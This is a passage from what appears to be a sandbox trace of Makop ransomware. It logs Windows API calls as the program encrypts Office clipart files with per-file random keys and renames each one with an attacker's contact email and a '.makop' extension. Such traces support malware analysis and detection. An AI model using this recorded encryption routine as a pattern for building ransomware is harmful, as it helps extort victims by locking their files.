Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.779] CloseHandle (hObject=0xf0) returned 1 [0107.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0107.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0107.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.780] GetProcessHeap () returned 0x48a0000 [0107.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.780] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0107.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.785] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.785] GetProcessHeap () returned 0x48a0000 [0107.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.785] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.785] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.786] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60ca, lpOverlapped=0x0) returned 1 [0107.788] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60d0) returned 1 [0107.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60d0, lpOverlapped=0x0) returned 1 [0107.789] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.789] SetEndOfFile (hFile=0xf0) returned 1 [0107.796] GetProcessHeap () returned 0x48a0000 [0107.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.796] GetProcessHeap () returned 0x48a0000 [0107.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.797] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.798] CloseHandle (hObject=0xf0) returned 1 [0107.798] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0107.798] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0107.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.799] GetProcessHeap () returned 0x48a0000 [0107.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.806] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.806] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.806] GetProcessHeap () returned 0x48a0000 [0107.807] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.807] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.807] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.807] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.807] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.807] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.807] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.808] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.808] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.808] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.808] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbb7c, lpOverlapped=0x0) returned 1 [0107.811] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbb80) returned 1 [0107.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbb80, lpOverlapped=0x0) returned 1 [0107.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.813] SetEndOfFile (hFile=0xf0) returned 1 [0107.821] GetProcessHeap () returned 0x48a0000 [0107.821] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.821] GetProcessHeap () returned 0x48a0000 [0107.821] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.821] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.823] CloseHandle (hObject=0xf0) returned 1 [0107.823] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0107.823] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0107.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.825] GetProcessHeap () returned 0x48a0000 [0107.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.825] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.825] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.825] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0107.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.830] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.831] GetProcessHeap () returned 0x48a0000 [0107.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.832] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.833] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d0e, lpOverlapped=0x0) returned 1 [0107.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d10) returned 1 [0107.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9d10, lpOverlapped=0x0) returned 1 [0107.836] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.836] SetEndOfFile (hFile=0xf0) returned 1 [0107.845] GetProcessHeap () returned 0x48a0000 [0107.845] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.845] GetProcessHeap () returned 0x48a0000 [0107.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.846] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.847] CloseHandle (hObject=0xf0) returned 1 [0107.847] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0107.847] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0107.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.848] GetProcessHeap () returned 0x48a0000 [0107.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0107.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.853] GetProcessHeap () returned 0x48a0000 [0107.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.853] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.855] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbaaa, lpOverlapped=0x0) returned 1 [0107.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbab0) returned 1 [0107.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbab0, lpOverlapped=0x0) returned 1 [0107.859] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.859] SetFilePointerEx (in: 